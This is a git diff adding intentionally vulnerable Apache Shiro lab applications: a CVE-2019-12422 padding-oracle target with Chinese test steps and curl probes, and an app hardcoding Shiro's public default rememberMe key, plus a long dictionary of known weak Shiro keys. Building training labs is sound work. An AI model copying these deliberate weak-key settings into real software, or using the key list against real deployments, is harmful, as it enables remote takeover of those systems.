{ + String currentKey = ShiroWeakKeySupport.extractCurrentKeyBase64(rememberMeManager); + List dictionary = ShiroWeakKeySupport.SCRIPT_KEYS; + int checkedCount = 0; + Integer matchIndex = null; + String matchedKey = null; + + for (int i = 0; i < dictionary.size(); i++) { + checkedCount++; + String candidate = dictionary.get(i); + if (candidate.equals(currentKey)) { + matchIndex = i; + matchedKey = candidate; + break; + } + } + + Map result = new LinkedHashMap(); + result.put("currentKey", currentKey); + result.put("checkedCount", checkedCount); + result.put("dictionarySize", dictionary.size()); + result.put("matchIndex", matchIndex); + result.put("matchedKey", matchedKey); + result.put("keys", dictionary); + return result; + } + + @GetMapping(value = "/profile", produces = "text/plain;charset=UTF-8") + public String profile() { + Subject subject = SecurityUtils.getSubject(); + String principal = subject.getPrincipal() == null ? "anonymous" : subject.getPrincipal().toString(); + return "principal=" + principal + + ", authenticated=" + subject.isAuthenticated() + + ", remembered=" + subject.isRemembered(); + } + + @GetMapping(value = "/admin", produces = "text/plain;charset=UTF-8") + public String admin() { + Subject subject = SecurityUtils.getSubject(); + return "admin resource reached by " + subject.getPrincipal(); + } + + @GetMapping(value = "/health", produces = "text/plain;charset=UTF-8") + public String health() { + return "ok"; + } + + private String buildMessage(String currentKey, boolean inDictionary, boolean isDefaultKey) { + if (currentKey == null) { + return "无法从 CookieRememberMeManager 中提取当前 rememberMe key。"; + } + if (isDefaultKey) { + return "当前 rememberMe key 就是 Shiro 默认 key,并且存在于脚本字典中。"; + } + if (inDictionary) { + return "当前 rememberMe key 命中了脚本字典中的弱 key。"; + } + return "当前 rememberMe key 已成功提取,且没有出现在脚本字典中。"; + } +} diff --git a/shior-1.2.4/src/main/java/com/myapp/support/ShiroWeakKeySupport.java b/shior-1.2.4/src/main/java/com/myapp/support/ShiroWeakKeySupport.java new file mode 100644 index 0000000..495574d --- /dev/null +++ b/shior-1.2.4/src/main/java/com/myapp/support/ShiroWeakKeySupport.java @@ -0,0 +1,87 @@ +package com.myapp.support; + +import org.apache.shiro.web.mgt.CookieRememberMeManager; + +import java.lang.reflect.Field; +import java.util.Arrays; +import java.util.Base64; +import java.util.Collections; +import java.util.List; + +public final class ShiroWeakKeySupport { + + public static final String DEFAULT_KEY = "kPH+bIxk5D2deZiIxcaaaA=="; + public static final byte[] DEFAULT_KEY_BYTES = Base64.getDecoder().decode(DEFAULT_KEY); + + public static final List SCRIPT_KEYS = Collections.unmodifiableList(Arrays.asList( + "kPH+bIxk5D2deZiIxcaaaA==", "4AvVhmFLUs0KTA3Kprsdag==", "fCq+/xW488hMTCE+cmJ3FF==", "zSyK5Kp6PZAAjlT+eeNMlg==", "WkhBTkdYSUFPSEVJX0NBVA==", + "RVZBTk5JR0hUTFlfV0FPVQ==", "U3ByaW5nQmxhZGUAAAAAAA==", "cGljYXMAAAAAAAAAAAAAAA==", "d2ViUmVtZW1iZXJNZUtleQ==", "fsHspZw/92PrS3XrPW+vxw==", + "sHdIjUN6tzhl8xZMG3ULCQ==", "WuB+y2gcHRnY2Lg9+Aqmqg==", "ertVhmFLUs0KTA3Kprsdag==", "2itfW92XazYRi5ltW0M2yA==", "6ZmI6I2j3Y+R1aSn5BOlAA==", + "f/SY5TIve5WWzT4aQlABJA==", "Jt3C93kMR9D5e8QzwfsiMw==", "aU1pcmFjbGVpTWlyYWNsZQ==", "XTx6CKLo/SdSgub+OPHSrw==", "8AvVhmFLUs0KTA3Kprsdag==", + "66v1O8keKNV3TTcGPK1wzg==", "Q01TX0JGTFlLRVlfMjAxOQ==", "5AvVhmFLUS0ATA4Kprsdag==", "ZmFsYWRvLnh5ei5zaGlybw==", "0AvVhmFLUs0KTA3Kprsdag==", + "r0e3c16IdVkouZgk1TKVMg==", "Z3VucwAAAAAAAAAAAAAAAA==", "5J7bIJIV0LQSN3c9LPitBQ==", "ZnJlc2h6Y24xMjM0NTY3OA==", "yeAAo1E8BOeAYfBlm4NG9Q==", + "a3dvbmcAAAAAAAAAAAAAAA==", "4BvVhmFLUs0KTA3Kprsdag==", "s0KTA3mFLUprK4AvVhsdag==", "yNeUgSzL/CfiWw1GALg6Ag==", "OY//C4rhfwNxCQAQCrQQ1Q==", + "fCq+/xW488hMTCD+cmJ3aQ==", "ZAvph3dsQs0FSL3SDFAdag==", "MTIzNDU2NzgxMjM0NTY3OA==", "1AvVhdsgUs0FSA3SDFAdag==", "Bf7MfkNR0axGGptozrebag==", + "1QWLxg+NYmxraMoxAXu/Iw==", "6AvVhmFLUs0KTA3Kprsdag==", "6NfXkC7YVCV5DASIrEm1Rg==", "2AvVhdsgUs0FSA3SDFAdag==", "9FvVhtFLUs0KnA3Kprsdyg==", + "OUHYQzxQ/W9e/UjiAGu6rg==", "ClLk69oNcA3m+s0jIMIkpg==", "vXP33AonIp9bFwGl7aT7rA==", "NGk/3cQ6F5/UNPRh8LpMIg==", "MPdCMZ9urzEA50JDlDYYDg==", + "c2hpcm9fYmF0aXMzMgAAAA==", "XgGkgqGqYrix9lI6vxcrRw==", "2A2V+RFLUs+eTA3Kpr+dag==", "5AvVhmFLUs0KTA3Kprsdag==", "3AvVhmFLUs0KTA3Kprsdag==", + "WcfHGU25gNnTxTlmJMeSpw==", "bWljcm9zAAAAAAAAAAAAAA==", "bWluZS1hc3NldC1rZXk6QQ==", "bXRvbnMAAAAAAAAAAAAAAA==", "6ZmI6I2j5Y+R5aSn5ZOlAA==", + "3JvYhmBLUs0ETA5Kprsdag==", "A7UzJgh1+EWj5oBFi+mSgw==", "Is9zJ3pzNh2cgTHB4ua3+Q==", "25BsmdYwjnfcWmnhAciDDg==", "cmVtZW1iZXJNZQAAAAAAAA==", + "7AvVhmFLUs0KTA3Kprsdag==", "3qDVdLawoIr1xFd6ietnwg==", "Y1JxNSPXVwMkyvES/kJGeQ==", "xVmmoltfpb8tTceuT5R7Bw==", "O4pdf+7e+mZe8NyxMTPJmQ==", + "SDKOLKn2J1j/2BHjeZwAoQ==", "a2VlcE9uR29pbmdBbmRGaQ==", "V2hhdCBUaGUgSGVsbAAAAA==", "GAevYnznvgNCURavBhCr1w==", "hBlzKg78ajaZuTE0VLzDDg==", + "2cVtiE83c4lIrELJwKGJUw==", "U3BAbW5nQmxhZGUAAAAAAA==", "9AvVhmFLUs0KTA3Kprsdag==", "SkZpbmFsQmxhZGUAAAAAAA==", "lT2UvDUmQwewm6mMoiw4Ig==", + "HWrBltGvEZc14h9VpMvZWw==", "wGiHplamyXlVB11UXWol8g==", "8BvVhmFLUs0KTA3Kprsdag==", "bya2HkYo57u6fWh5theAWw==", "IduElDUpDDXE677ZkhhKnQ==", + "1tC/xrDYs8ey+sa3emtiYw==", "MTIzNDU2Nzg5MGFiY2RlZg==", "c+3hFGPjbgzGdrC+MHgoRQ==", "rPNqM6uKFCyaL10AK51UkQ==", "5aaC5qKm5oqA5pyvAAAAAA==", + "cGhyYWNrY3RmREUhfiMkZA==", "MzVeSkYyWTI2OFVLZjRzZg==", "YI1+nBV//m7ELrIyDHm6DQ==", "empodDEyMwAAAAAAAAAAAA==", "NsZXjXVklWPZwOfkvk6kUA==", + "ZUdsaGJuSmxibVI2ZHc9PQ==", "L7RioUULEFhRyxM7a2R/Yg==", "i45FVt72K2kLgvFrJtoZRw==", "bXdrXl9eNjY2KjA3Z2otPQ==", "sgIQrqUVxa1OZRRIK3hLZw==", + "tiVV6g3uZBGfgshesAQbjA==", "GsHaWo4m1eNbE0kNSMULhg==", "l8cc6d2xpkT1yFtLIcLHCg==", "KU471rVNQ6k7PQL4SqxgJg==", "6Zm+6I2j5Y+R5aS+5ZOlAA==", + "kPH+bIxk5D2deZiIxcabaA==", "kPH+bIxk5D2deZiIxcacaA==", "3AvVhdAgUs0FSA4SDFAdBg==", "4AvVhdsgUs0F563SDFAdag==", "FL9HL9Yu5bVUJ0PDU1ySvg==", + "5RC7uBZLkByfFfJm22q/Zw==", "eXNmAAAAAAAAAAAAAAAAAA==", "fdCEiK9YvLC668sS43CJ6A==", "FJoQCiz0z5XWz2N2LyxNww==", "HeUZ/LvgkO7nsa18ZyVxWQ==", + "HoTP07fJPKIRLOWoVXmv+Q==", "iycgIIyCatQofd0XXxbzEg==", "m0/5ZZ9L4jjQXn7MREr/bw==", "NoIw91X9GSiCrLCF03ZGZw==", "oPH+bIxk5E2enZiIxcqaaA==", + "QAk0rp8sG0uJC4Ke2baYNA==", "Rb5RN+LofDWJlzWAwsXzxg==", "s2SE9y32PvLeYo+VGFpcKA==", "SrpFBcVD89eTQ2icOD0TMg==", "U0hGX2d1bnMAAAAAAAAAAA==", + "Us0KvVhTeasAm43KFLAeng==", "Ymx1ZXdoYWxlAAAAAAAAAA==", "YWJjZGRjYmFhYmNkZGNiYQ==", "zIiHplamyXlVB11UXWol8g==", "ZjQyMTJiNTJhZGZmYjFjMQ==", + "HOlg7NHb9potm0n5s4ic0Q==", "2AvVhdsgUs0FSA3SaFAdfg==", "4rvVhmFLUs0KAT3Kprsdag==", "AF05JAuyuEB1ouJQ9Y9Phg==", "UGlzMjAxNiVLeUVlXiEjLw==", + "2AvVhdsgERdsSA3SDFAdag==", "QF5HMyZAWDZYRyFnSGhTdQ==", "8AvVhdsgUs0FSA3SDFAdag==", "4AvVhmFLUs5KTA1Kprsdag==", "4WCZSJyqdUQsije93aQIRg==", + "3rvVhmFLUs0KAT3Kprsdag==", "b2EAAAAAAAAAAAAAAAAAAA==", "3AvVhMFLIs0KTA3Kprsdag==", "4AvVhm2LUs0KTA3Kprsdag==", "2AvVCXsxUs0FSA7SYFjdQg==", + "Cj6LnKZNLEowAZrdqyH/Ew==", "3qDVdLawoIr1xFd6ietnsg==", "2AvVhdsgUsOFSA3SDFAdag==", "FP7qKJzdJOGkzoQzo2wTmA==", "wyLZMDifwq3sW1vhhHpgKA==", + "5AvVhCsgUs0FSA3SDFAdag==", "pbnA+Qzen1vjV3rNqQBLHg==", "GhrF5zLfq1Dtadd1jlohhA==", "2AvVhmFLUs0KTA3Kprsdag==", "mIccZhQt6EBHrZIyw1FAXQ==", + "4AvVhmFLUs0KTA3Kprseaf==", "GHxH6G3LFh8Zb3NwoRgfFA==", "B9rPF8FHhxKJZ9k63ik7kQ==", "3AvVhmFLUs0KTA3KaTHGFg==", "M2djA70UBBUPDibGZBRvrA==", + "QDFCnfkLUs0KTA3Kprsdag==", "2adsfasdqerqerqewradsf==", "3Av2hmFLAs0BTA3Kprsd6E==", "4AvVhmFLUsOKTA3Kprsdag==", "Z3VucwACAOVAKALACAADSA==", + "4AvVhmFLUs0KTA3KAAAAAA==", "sBv2t3okbdm3U0r2EVcSzB==", "5oiR5piv5p2h5ZK46bG8IQ==", "TGMPe7lGO/Gbr38QiJu1/w==", "4AvVhmFLUs0TTA3Kprsdag==", + "YWdlbnRAZG1AMjAxOHN3Zg==", "Z3VucwAAAAAAAAAAAAABBB==", "AztiX2RUqhc7dhOzl1Mj8Q==", "FjbNm1avvGmWE9CY2HqV75==", "QVN1bm5uJ3MgU3Vuc2l0ZQ==", + "9Ami6v2G5Y+r5aPnE4OlBB==", "2AvVidsaUSofSA3SDFAdog==", "3AvVhdAgUs1FSA4SDFAdBg==", "R29yZG9uV2ViAAAAAAAAAA==", "wrjUh2ttBPQLnT4JVhriug==", + "w793pPq5ZVBKkj8OhV4KaQ==", "c2hvdWtlLXBsdXMuMjAxNg==", "pyyX1c5x2f0LZZ7VKZXjKO==", "duhfin37x6chw29jsne45m==", "QUxQSEFNWVNPRlRCVUlMRA==", + "YVd4dmRtVjViM1UlM0QIdn==", "YnlhdnMAAAAAAAAAAAAAAA==", "YystomRZLMUjiK0Q1+LFdw==", "2AvVhdsgUs0FSA3SDFAder==", "A+kWR7o9O0/G/W6aOGesRA==", + "kPv59vyqzj00x11LXJZTjJ2UHW48jzHN" + )); + + private ShiroWeakKeySupport() { + } + + public static String extractCurrentKeyBase64(CookieRememberMeManager rememberMeManager) { + Object key = readField(rememberMeManager, "encryptionCipherKey"); + if (!(key instanceof byte[])) { + key = readField(rememberMeManager, "decryptionCipherKey"); + } + if (key instanceof byte[]) { + return Base64.getEncoder().encodeToString((byte[]) key); + } + return null; + } + + private static Object readField(Object target, String fieldName) { + Class type = target.getClass(); + while (type != null) { + try { + Field field = type.getDeclaredField(fieldName); + field.setAccessible(true); + return field.get(target); + } catch (NoSuchFieldException ex) { + type = type.getSuperclass(); + } catch (IllegalAccessException ex) { + throw new IllegalStateException("Unable to read field: " + fieldName, ex); + } + } + return null; + } +} diff --git a/shior-1.2.4/src/main/resources/application.properties b/shior-1.2.4/src/main/resources/application.properties new file mode 100644 index 0000000..49b7186 --- /dev/null +++ b/shior-1.2.4/src/main/resources/application.properties @@ -0,0 +1,3 @@ +server.port=8080 +server.session.timeout=30 +logging.level.org.apache.shiro=INFO diff --git a/shiro-1.25_1.42/Dockerfile b/shiro-1.25_1.42/Dockerfile new file mode 100644 index 0000000..737ddf9 --- /dev/null +++ b/shiro-1.25_1.42/Dockerfile @@ -0,0 +1,10 @@ +FROM wushangleon/java:jdk8u112_maven as builder + +COPY . /opt/shiro +WORKDIR /opt/shiro +RUN mvn package -DskipTests + +FROM wushangleon/java:jdk8u112 +COPY --from=builder /opt/shiro/target/shiro-1.25_1.42-1.0-SNAPSHOT.jar /opt/app.jar +EXPOSE 8080 +CMD ["java", "-jar", "/opt/app.jar"] diff --git a/shiro-1.25_1.42/Dockerfile_local b/shiro-1.25_1.42/Dockerfile_local new file mode 100644 index 0000000..00560e4 --- /dev/null +++ b/shiro-1.25_1.42/Dockerfile_local @@ -0,0 +1,4 @@ +FROM wushangleon/java:jdk8u112 +COPY target/shiro-1.25_1.42-1.0-SNAPSHOT.jar /opt/app.jar +EXPOSE 8080 +CMD ["java", "-jar", "/opt/app.jar"] diff --git a/shiro-1.25_1.42/docker-compose.yaml b/shiro-1.25_1.42/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/shiro-1.25_1.42/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/shiro-1.25_1.42/pom.xml b/shiro-1.25_1.42/pom.xml new file mode 100644 index 0000000..1fa0cd8 --- /dev/null +++ b/shiro-1.25_1.42/pom.xml @@ -0,0 +1,82 @@ + + + 4.0.0 + + org.example + shiro-1.25_1.42 + 1.0-SNAPSHOT + + + 1.8 + 1.8 + 1.8 + + + + org.springframework.boot + spring-boot-starter-parent + 1.5.22.RELEASE + + + + + org.springframework.boot + spring-boot-starter-web + + + org.apache.shiro + shiro-spring + 1.4.1 + + + commons-beanutils + commons-beanutils + 1.9.2 + + + commons-collections + commons-collections + 3.2.1 + + + org.apache.commons + commons-collections4 + 4.0 + + + commons-logging + commons-logging + 1.2 + + + + + + + org.springframework.boot + spring-boot-maven-plugin + + + org.apache.maven.plugins + maven-compiler-plugin + 3.1 + + 1.8 + 1.8 + + + + org.apache.maven.plugins + maven-resources-plugin + 3.0.2 + + + org.apache.maven.plugins + maven-jar-plugin + 2.4 + + + + diff --git a/shiro-1.25_1.42/src/main/java/com/myapp/MyApplication.java b/shiro-1.25_1.42/src/main/java/com/myapp/MyApplication.java new file mode 100644 index 0000000..0038ea0 --- /dev/null +++ b/shiro-1.25_1.42/src/main/java/com/myapp/MyApplication.java @@ -0,0 +1,12 @@ +package com.myapp; + +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; + +@SpringBootApplication +public class MyApplication { + + public static void main(String[] args) { + SpringApplication.run(MyApplication.class, args); + } +} diff --git a/shiro-1.25_1.42/src/main/java/com/myapp/config/ShiroConfig.java b/shiro-1.25_1.42/src/main/java/com/myapp/config/ShiroConfig.java new file mode 100644 index 0000000..078a023 --- /dev/null +++ b/shiro-1.25_1.42/src/main/java/com/myapp/config/ShiroConfig.java @@ -0,0 +1,24 @@ +package com.myapp.config; + +import org.apache.shiro.web.servlet.IniShiroFilter; +import org.springframework.boot.web.servlet.FilterRegistrationBean; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + +import javax.servlet.DispatcherType; + +@Configuration +public class ShiroConfig { + + @Bean + public FilterRegistrationBean shiroFilterRegistration() { + FilterRegistrationBean registration = new FilterRegistrationBean(); + registration.setFilter(new IniShiroFilter()); + registration.addUrlPatterns("/*"); + registration.addInitParameter("configPath", "classpath:shiro.ini"); + registration.setDispatcherTypes(DispatcherType.REQUEST, DispatcherType.FORWARD, DispatcherType.INCLUDE, DispatcherType.ERROR); + registration.setName("ShiroFilter"); + registration.setOrder(1); + return registration; + } +} diff --git a/shiro-1.25_1.42/src/main/java/com/myapp/controller/ShiroPaddingOracleController.java b/shiro-1.25_1.42/src/main/java/com/myapp/controller/ShiroPaddingOracleController.java new file mode 100644 index 0000000..9b53722 --- /dev/null +++ b/shiro-1.25_1.42/src/main/java/com/myapp/controller/ShiroPaddingOracleController.java @@ -0,0 +1,162 @@ +package com.myapp.controller; + +import org.apache.shiro.SecurityUtils; +import org.apache.shiro.subject.Subject; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RestController; + +import java.util.Arrays; +import java.util.LinkedHashMap; +import java.util.Map; + +@RestController +public class ShiroPaddingOracleController { + + @GetMapping(value = {"/", "/index.jsp", "/shiro-1.25_1.42"}, produces = "text/html;charset=UTF-8") + public String index() { + return "\n" + + "\n" + + "\n" + + " \n" + + " \n" + + " Shiro 1.4.1 Padding Oracle 靶场\n" + + " \n" + + "\n" + + "\n" + + "
\n" + + "
\n" + + "

Apache Shiro 1.4.1 Padding Oracle 靶场

\n" + + "

当前实现仍然是 Spring Boot,但过滤链和登录流程已经尽量贴近官方 samples/web:通过 IniShiroFilter + shiro.ini 处理登录、RememberMe 和跳转,测试时先访问 /login.jsp 获取合法 rememberMe,再带 Cookie 请求 /home.jsp 观察差异响应。

\n" + + "
\n" + + " CVE-2019-12422\n" + + " Apache Shiro 1.4.1\n" + + " Spring Boot JAR\n" + + " samples/web-like\n" + + "
\n" + + "
\n" + + "
\n" + + "
\n" + + "

登录取 Cookie

\n" + + "

测试账号建议先用:root / secret

\n" + + "
\n" + + "
\n" + + "
\n" + + "
\n" + + " \n" + + "
\n" + + "
\n" + + "
\n" + + "

怎么测

\n" + + "
    \n" + + "
  1. 先访问 /login.jsp 并勾选 Remember Me,记录响应头里的 rememberMe
  2. \n" + + "
  3. 携带合法 Cookie 访问 /home.jsp,应能进入页面,通常不会回写 rememberMe=deleteMe
  4. \n" + + "
  5. 把 Cookie 改成畸形值后再请求 /home.jsp,观察响应头是否出现 Set-Cookie: rememberMe=deleteMe
  6. \n" + + "
  7. 真实利用时,Padding Oracle 的关键就是区分这两类响应差异。
  8. \n" + + "
\n" + + "
\n" + + "
\n" + + "

Curl 示例

\n" + + "
curl -i -X POST \"http://宿主机IP:9969/login.jsp\" \\\n" +
+                "-H \"Content-Type: application/x-www-form-urlencoded\" \\\n" +
+                "-d \"username=root&password=secret&rememberMe=true\"
\n" + + "
curl -i \"http://宿主机IP:9969/home.jsp\" \\\n" +
+                "-H \"Cookie: rememberMe=把上一步拿到的合法Cookie填这里\"
\n" + + "
curl -i \"http://宿主机IP:9969/home.jsp\" \\\n" +
+                "-H \"Cookie: rememberMe=QUFB\"
\n" + + "
\n" + + "
\n" + + "

辅助入口

\n" + + "

/login.jsp

\n" + + "

/home.jsp

\n" + + "

/account/index.jsp

\n" + + "

/oracle/info

\n" + + "

/logout

\n" + + "
\n" + + "
\n" + + "
\n" + + "\n" + + ""; + } + + @GetMapping(value = "/login.jsp", produces = "text/html;charset=UTF-8") + public String loginPage() { + String failure = String.valueOf(SecurityUtils.getSubject().getSession().getAttribute("shiroLoginFailure")); + String errorBlock = "null".equals(failure) ? "" : "

登录失败:" + failure + "

"; + return "Login" + + "" + + "

Login

参考官方 samples/web,提交目标就是 /login.jsp

" + + errorBlock + + "
" + + "" + + "

" + + "
"; + } + + @GetMapping(value = "/home.jsp", produces = "text/html;charset=UTF-8") + public String home() { + Subject subject = SecurityUtils.getSubject(); + String principal = subject.getPrincipal() == null ? "anonymous" : subject.getPrincipal().toString(); + return "Home" + + "" + + "

RememberMe Protected Resource

" + + "

当前主体:" + principal + "

" + + "

authenticated=" + subject.isAuthenticated() + ", remembered=" + subject.isRemembered() + "

" + + "

这个页面由 Shiro user 规则保护,既允许已认证用户进入,也允许 RememberMe 恢复的用户进入。

" + + "

如果请求回到了登录页并带有 rememberMe=deleteMe,说明当前 Cookie 走到了错误处理路径;如果还能正常进入这个页面,则说明它更接近可通过处理链的路径。

" + + "

Account Page

" + + "

退出

"; + } + + @GetMapping(value = "/account/index.jsp", produces = "text/html;charset=UTF-8") + public String accountIndex() { + Subject subject = SecurityUtils.getSubject(); + return "Account" + + "" + + "

Account Page

" + + "

当前主体:" + subject.getPrincipal() + "

" + + "

这是一个仅登录用户可访问的页面,用来贴近 samples/web 的受保护路径。

" + + "

Home

Logout

"; + } + + @GetMapping(value = "/oracle/info", produces = "application/json;charset=UTF-8") + public Map oracleInfo() { + Map result = new LinkedHashMap(); + result.put("title", "Apache Shiro 1.2.5-1.4.1 Padding Oracle 靶场"); + result.put("cve", "CVE-2019-12422"); + result.put("shiroVersion", "1.4.1"); + result.put("runtime", "spring-boot"); + result.put("loginUrl", "/login.jsp"); + result.put("protectedUrl", "/home.jsp"); + result.put("accountUrl", "/account/index.jsp"); + result.put("affectedVersions", Arrays.asList("1.2.5", "1.2.6", "1.3.0", "1.3.1", "1.3.2", "1.4.0-RC2", "1.4.0", "1.4.1")); + result.put("fixedVersion", "1.4.2"); + result.put("notes", Arrays.asList( + "先访问 /login.jsp 并勾选 Remember Me,记录 rememberMe Cookie。", + "随后携带 rememberMe Cookie 访问 /home.jsp 或 /account/index.jsp,观察响应头是否出现 rememberMe=deleteMe。", + "过滤链改成了更贴近官方 samples/web 的 IniShiroFilter + shiro.ini 形式。" + )); + return result; + } + + @GetMapping(value = "/health", produces = "text/plain;charset=UTF-8") + public String health() { + return "ok"; + } +} diff --git a/shiro-1.25_1.42/src/main/resources/application.properties b/shiro-1.25_1.42/src/main/resources/application.properties new file mode 100644 index 0000000..49b7186 --- /dev/null +++ b/shiro-1.25_1.42/src/main/resources/application.properties @@ -0,0 +1,3 @@ +server.port=8080 +server.session.timeout=30 +logging.level.org.apache.shiro=INFO diff --git a/shiro-1.25_1.42/src/main/resources/shiro.ini b/shiro-1.25_1.42/src/main/resources/shiro.ini new file mode 100644 index 0000000..f9a80c5 --- /dev/null +++ b/shiro-1.25_1.42/src/main/resources/shiro.ini @@ -0,0 +1,40 @@ +[main] +authc.loginUrl = /login.jsp +authc.successUrl = /home.jsp +logout.redirectUrl = /index.jsp + +rememberMeCookie = org.apache.shiro.web.servlet.SimpleCookie +rememberMeCookie.name = rememberMe +rememberMeCookie.httpOnly = true +rememberMeCookie.maxAge = 604800 + +rememberMeManager = org.apache.shiro.web.mgt.CookieRememberMeManager +rememberMeManager.cookie = $rememberMeCookie +securityManager.rememberMeManager = $rememberMeManager + +[users] +root = secret, admin +guest = guest, guest +presidentskroob = 12345, president +darkhelmet = ludicrousspeed, darklord, schwartz +lonestarr = vespa, goodguy, schwartz + +[roles] +admin = * +schwartz = lightsaber:* +goodguy = winnebago:drive:eagle5 +badguy = winnebago:drive:eagle5 +darklord = planet:blowup +president = galaxy:* + +[urls] +/ = anon +/index.jsp = anon +/shiro-1.25_1.42 = anon +/login.jsp = authc +/logout = logout +/oracle/info = anon +/health = anon +/account/** = authc +/home.jsp = user +/** = anon diff --git a/shiro-1.8.0/Dockerfile b/shiro-1.8.0/Dockerfile new file mode 100644 index 0000000..62e3e5a --- /dev/null +++ b/shiro-1.8.0/Dockerfile @@ -0,0 +1,10 @@ +FROM wushangleon/java:jdk8u112_maven as builder + +COPY . /opt/shiro +WORKDIR /opt/shiro +RUN mvn package -DskipTests + +FROM wushangleon/java:jdk8u112 +COPY --from=builder /opt/shiro/target/shiro-1.8.0-1.0-SNAPSHOT.jar /opt/app.jar +EXPOSE 8080 +CMD ["java", "-jar", "/opt/app.jar"] diff --git a/shiro-1.8.0/Dockerfile_local b/shiro-1.8.0/Dockerfile_local new file mode 100644 index 0000000..d05401f --- /dev/null +++ b/shiro-1.8.0/Dockerfile_local @@ -0,0 +1,4 @@ +FROM wushangleon/java:jdk8u112 +COPY target/shiro-1.8.0-1.0-SNAPSHOT.jar /opt/app.jar +EXPOSE 8080 +CMD ["java", "-jar", "/opt/app.jar"] diff --git a/shiro-1.8.0/docker-compose.yaml b/shiro-1.8.0/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/shiro-1.8.0/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/microservice-d-service/pom.xml b/shiro-1.8.0/pom.xml similarity index 58% rename from microservice-d-service/pom.xml rename to shiro-1.8.0/pom.xml index 593db9d..f552d7c 100644 --- a/microservice-d-service/pom.xml +++ b/shiro-1.8.0/pom.xml @@ -5,43 +5,33 @@ 4.0.0 org.example - microservice-d-service + shiro-1.8.0 1.0-SNAPSHOT - 8 - 8 + 1.8 + 1.8 + 1.8 + org.springframework.boot spring-boot-starter-parent - 2.5.9 + 1.5.22.RELEASE + - - org.springframework.cloud - spring-cloud-starter-netflix-eureka-client - org.springframework.boot spring-boot-starter-web - RELEASE - compile + + + org.apache.shiro + shiro-spring + 1.8.0 - - - - org.springframework.cloud - spring-cloud-dependencies - 2020.0.4 - pom - import - - - - @@ -51,7 +41,7 @@ org.apache.maven.plugins maven-compiler-plugin - 3.1 + 3.1 1.8 1.8 @@ -60,13 +50,13 @@ org.apache.maven.plugins maven-resources-plugin - 3.0.2 + 3.0.2 org.apache.maven.plugins maven-jar-plugin - 2.4 + 2.4 - \ No newline at end of file + diff --git a/shiro-1.8.0/src/main/java/com/myapp/MyApplication.java b/shiro-1.8.0/src/main/java/com/myapp/MyApplication.java new file mode 100644 index 0000000..ea971cb --- /dev/null +++ b/shiro-1.8.0/src/main/java/com/myapp/MyApplication.java @@ -0,0 +1,11 @@ +package com.myapp; + +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; + +@SpringBootApplication +public class MyApplication { + public static void main(String[] args) { + SpringApplication.run(MyApplication.class, args); + } +} diff --git a/shiro-1.8.0/src/main/java/com/myapp/config/ShiroConfig.java b/shiro-1.8.0/src/main/java/com/myapp/config/ShiroConfig.java new file mode 100644 index 0000000..b27b580 --- /dev/null +++ b/shiro-1.8.0/src/main/java/com/myapp/config/ShiroConfig.java @@ -0,0 +1,104 @@ +package com.myapp.config; + +import com.myapp.support.ShiroWeakKeySupport; +import org.apache.shiro.mgt.SecurityManager; +import org.apache.shiro.realm.Realm; +import org.apache.shiro.realm.SimpleAccountRealm; +import org.apache.shiro.spring.LifecycleBeanPostProcessor; +import org.apache.shiro.spring.security.interceptor.AuthorizationAttributeSourceAdvisor; +import org.apache.shiro.spring.web.ShiroFilterFactoryBean; +import org.apache.shiro.web.mgt.CookieRememberMeManager; +import org.apache.shiro.web.mgt.DefaultWebSecurityManager; +import org.apache.shiro.web.servlet.SimpleCookie; +import org.springframework.boot.web.servlet.FilterRegistrationBean; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.web.filter.DelegatingFilterProxy; + +import javax.servlet.DispatcherType; +import java.util.LinkedHashMap; +import java.util.Map; + +@Configuration +public class ShiroConfig { + + public static final String WEAK_PUBLIC_KEY = ShiroWeakKeySupport.DEFAULT_KEY; + + @Bean + public Realm realm() { + SimpleAccountRealm realm = new SimpleAccountRealm(); + realm.addAccount("admin", "admin123", "admin"); + realm.addAccount("user", "user123", "user"); + return realm; + } + + @Bean + public CookieRememberMeManager rememberMeManager() { + CookieRememberMeManager rememberMeManager = new CookieRememberMeManager(); + SimpleCookie cookie = new SimpleCookie("rememberMe"); + cookie.setHttpOnly(true); + cookie.setMaxAge(7 * 24 * 60 * 60); + rememberMeManager.setCookie(cookie); + + // Deliberately insecure for lab: the runtime really uses this fixed public weak key. + rememberMeManager.setCipherKey(ShiroWeakKeySupport.DEFAULT_KEY_BYTES); + return rememberMeManager; + } + + @Bean + public SecurityManager securityManager(Realm realm, CookieRememberMeManager rememberMeManager) { + DefaultWebSecurityManager securityManager = new DefaultWebSecurityManager(); + securityManager.setRealm(realm); + securityManager.setRememberMeManager(rememberMeManager); + return securityManager; + } + + @Bean(name = "shiroFilter") + public ShiroFilterFactoryBean shiroFilter(SecurityManager securityManager) { + ShiroFilterFactoryBean factoryBean = new ShiroFilterFactoryBean(); + factoryBean.setSecurityManager(securityManager); + factoryBean.setLoginUrl("/login-page"); + factoryBean.setSuccessUrl("/profile"); + factoryBean.setUnauthorizedUrl("/login-page"); + + Map chain = new LinkedHashMap(); + chain.put("/", "anon"); + chain.put("/login-page", "anon"); + chain.put("/shiro-1.8.0", "anon"); + chain.put("/login", "anon"); + chain.put("/weak-key/status", "anon"); + chain.put("/rememberme/check", "anon"); + chain.put("/rememberme/dictionary", "anon"); + chain.put("/rememberme/scan", "anon"); + chain.put("/health", "anon"); + chain.put("/logout", "logout"); + chain.put("/**", "user"); + factoryBean.setFilterChainDefinitionMap(chain); + return factoryBean; + } + + @Bean + public FilterRegistrationBean shiroFilterRegistration() { + FilterRegistrationBean registration = new FilterRegistrationBean(); + DelegatingFilterProxy filterProxy = new DelegatingFilterProxy("shiroFilter"); + filterProxy.setTargetFilterLifecycle(true); + registration.setFilter(filterProxy); + registration.addUrlPatterns("/*"); + registration.setDispatcherTypes(DispatcherType.REQUEST, DispatcherType.FORWARD, 